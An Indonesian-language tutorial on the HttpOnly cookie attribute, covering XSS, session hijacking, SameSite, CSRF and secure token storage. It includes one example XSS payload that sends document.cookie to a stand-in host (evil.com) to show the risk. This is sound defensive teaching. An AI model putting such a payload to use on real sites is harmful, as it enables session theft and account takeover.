Http Only Cookie

HTTP Only Cookie #

Dalam web application modern, cookie masih menjadi salah satu mekanisme utama untuk menyimpan state autentikasi (session, access token, refresh token). Namun, cara cookie digunakan sangat menentukan tingkat keamanan aplikasi.

Salah satu atribut cookie yang paling krusial namun sering diremehkan adalah HttpOnly.

Artikel ini akan membahas secara mendalam:

  • Apa itu HTTP Only Cookie
  • Mengapa atribut ini sangat penting bagi security
  • Jenis serangan umum jika tidak digunakan
  • Best practice implementasi HTTP Only Cookie dalam web application

HTTP Only Cookie adalah cookie yang diberi atribut HttpOnly, yang berarti:

Cookie tidak dapat diakses oleh JavaScript melalui document.cookie.

Cookie dengan atribut ini hanya dikirim oleh browser melalui HTTP/HTTPS request ke server.

Set-Cookie: session_id=abc123;
  HttpOnly;
  Secure;
  SameSite=Strict;
  Path=/

Artinya:

  • Cookie dikirim otomatis oleh browser
  • Tidak bisa dibaca, dimodifikasi, atau dihapus oleh JavaScript
  • Hanya server yang bisa memvalidasi dan mengelola isinya

Secara default, cookie bisa diakses oleh JavaScript:

document.cookie

Jika ini dibiarkan:

  • Token autentikasi bisa dicuri
  • Session bisa dibajak
  • Dampak XSS menjadi sangat fatal

Inilah alasan utama mengapa HttpOnly bukan fitur tambahan, melainkan baseline security.


Proteksi Kritis terhadap XSS (Cross-Site Scripting) #

XSS memungkinkan attacker menjalankan JavaScript berbahaya di browser korban.

Tanpa HttpOnly:

<script>
  fetch("https://evil.com/steal?cookie=" + document.cookie)
</script>

Dengan HttpOnly:

  • document.cookie tidak mengandung cookie sensitif
  • Token autentikasi aman walaupun XSS terjadi

HttpOnly tidak mencegah XSS, tapi membatasi dampaknya secara drastis.

Mencegah Session Hijacking #

Session hijacking terjadi ketika attacker mendapatkan session identifier korban.

Tanpa HttpOnly:

  • Session ID bisa dicuri lewat JS
  • Attacker bisa replay session

Dengan HttpOnly:

  • Session ID hanya hidup di level HTTP
  • Tidak bisa diekstrak oleh client-side script

Memaksa Server-Side Trust Model #

HttpOnly mendorong arsitektur yang benar:

  • Server = pemilik otoritas autentikasi
  • Client = hanya pengirim request

Ini mencegah:

  • Logic autentikasi di frontend
  • Penyimpanan token di localStorage
  • Trust berlebih ke browser

Serangan Umum Jika HttpOnly Tidak Digunakan #

Cross-Site Scripting (XSS) #

Dampak tanpa HttpOnly:

  • Token dicuri
  • Account takeover
  • Privilege escalation

Realita pahit:

Banyak aplikasi “aman” runtuh total hanya karena satu XSS kecil.

Session Fixation #

Tanpa kontrol cookie yang baik:

  • Attacker set cookie terlebih dahulu
  • User login dengan session attacker

HttpOnly membantu memperketat kontrol server terhadap lifecycle session.

Token Exfiltration via Third-Party Script #

Jika menggunakan:

  • Analytics
  • Ads
  • Chat widget

Tanpa HttpOnly:

  • Script pihak ketiga bisa membaca cookie

Dengan HttpOnly:

  • Cookie autentikasi tidak terlihat oleh mereka

Tanpa HttpOnly #

[User Browser]
      |
      |  document.cookie
      v
[Malicious JS]
      |
      v
[Attacker Server]

Dengan HttpOnly #

[User Browser]
      |
      |  HTTP Request (Cookie auto attached)
      v
[Web Server]
      |
      v
[Auth Validation]

JavaScript tidak pernah menyentuh cookie.


HTTP Only vs LocalStorage (Perbandingan Singkat) #

AspekHttpOnly CookielocalStorage
Akses JS❌ Tidak✅ Ya
Aman dari XSS✅ Lebih aman❌ Tidak
Auto attach ke request✅ Ya❌ Tidak
Rentan CSRF⚠️ Ya❌ Tidak

Security yang baik bukan memilih satu, tapi mengombinasikan kontrol dengan benar.


Selalu Kombinasikan dengan Secure #

Set-Cookie: session=...; HttpOnly; Secure
  • Cookie hanya dikirim via HTTPS
  • Wajib untuk production

Gunakan SameSite dengan Tepat #

NilaiKegunaan
StrictAplikasi internal / dashboard
LaxWeb umum (login form)
NoneCross-site (harus Secure)
SameSite=Lax

Jangan Simpan JWT Access Token di JavaScript #

❌ Salah:

  • localStorage
  • sessionStorage
  • memory JS

✅ Benar:

  • HttpOnly Cookie
  • Validasi di server

Pisahkan Access Token dan Refresh Token #

Best practice modern:

  • Access Token: short-lived
  • Refresh Token: HttpOnly + Secure + SameSite

Implementasikan CSRF Protection #

Karena HttpOnly Cookie masih dikirim otomatis, maka:

  • Gunakan CSRF token
  • Gunakan SameSite
  • Validasi Origin / Referer

HttpOnly bukan pengganti CSRF protection.

Rotate Session Secara Berkala #

  • Regenerate session ID setelah login
  • Invalidate session lama
  • Batasi idle timeout

Kesalahan Umum di Dunia Nyata #

  • ❌ Merasa aman hanya karena pakai HTTPS
  • ❌ Menyimpan JWT di localStorage
  • ❌ Menganggap HttpOnly opsional
  • ❌ Tidak mengatur SameSite

Kesimpulan #

HTTP Only Cookie adalah fondasi keamanan autentikasi web.

Ia:

  • Tidak mencegah XSS
  • Tapi mencegah account takeover akibat XSS
  • Mengunci token di level HTTP
  • Memaksa desain security yang benar

Jika aplikasi Anda menggunakan login dan cookie tanpa HttpOnly, maka itu bukan soal jika akan diserang — tapi kapan.


Checklist Singkat #

✅ HttpOnly ✅ Secure ✅ SameSite ✅ HTTPS ✅ CSRF Protection

Semua harus berjalan bersamaan.

About | Author | Content Scope | Editorial Policy | Privacy Policy | Disclaimer | Contact